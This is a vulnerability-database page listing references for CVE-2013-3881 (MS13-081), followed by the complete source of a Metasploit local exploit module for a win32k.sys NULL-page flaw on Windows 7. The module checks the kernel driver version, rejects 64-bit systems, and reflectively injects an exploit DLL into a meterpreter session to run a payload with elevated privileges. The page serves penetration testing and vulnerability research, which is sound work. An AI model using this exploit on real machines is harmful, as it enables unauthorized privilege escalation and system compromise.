| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Windows TrackPopupMenuEx Win32k NULL Page | 11 Feb 201400:00 | – | zdt | |
| CVE-2013-3881 | 11 Feb 201400:00 | – | circl | |
| CVE-2013-3881 | 9 Oct 201314:44 | – | cve | |
| CVE-2013-3881 | 9 Oct 201314:44 | – | cvelist | |
| Immunity Canvas: CVE_2013_3881 | 9 Oct 201314:53 | – | canvas | |
| Microsoft Windows - TrackPopupMenuEx Win32k NULL Page (MS13-081) (Metasploit) | 11 Feb 201400:00 | – | exploitdb | |
| MS13-081: Vulnerabilities in Windows kernel-mode drivers could allow remote code execution: October 8, 2013 | 8 Oct 201300:00 | – | mskb | |
| CVE-2013-3881 | 9 Oct 201314:53 | – | nvd | |
| Microsoft Windows Kernel-Mode Drivers Remote Code Execution Vulnerabilities (2870008) | 9 Oct 201300:00 | – | openvas | |
| MS Windows Kernel-Mode Drivers Remote Code Execution Vulnerabilities (2870008) | 9 Oct 201300:00 | – | openvas |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
'Description' => %q{
This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to
the MNEndMenuState procedure. This module has been tested
successfully on Windows 7 SP0 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' => [
'Seth Gibson', # vulnerability discovery
'Dan Zentner', # vulnerability discovery
'Matias Soler', # vulnerability analysis
'Spencer McIntyre'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 7 SP0/SP1', {} ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
[ 'CVE', '2013-3881' ],
[ 'OSVDB', '98212' ],
[ 'BID', '62830'],
[ 'MSB', 'MS13-081' ],
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
],
'DisclosureDate' => '2013-10-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
if session.platform != 'windows'
return Exploit::CheckCode::Safe
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
case build
when 7600
return Exploit::CheckCode::Appears
when 7601
return Exploit::CheckCode::Appears if revision <= 18126
when 9200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation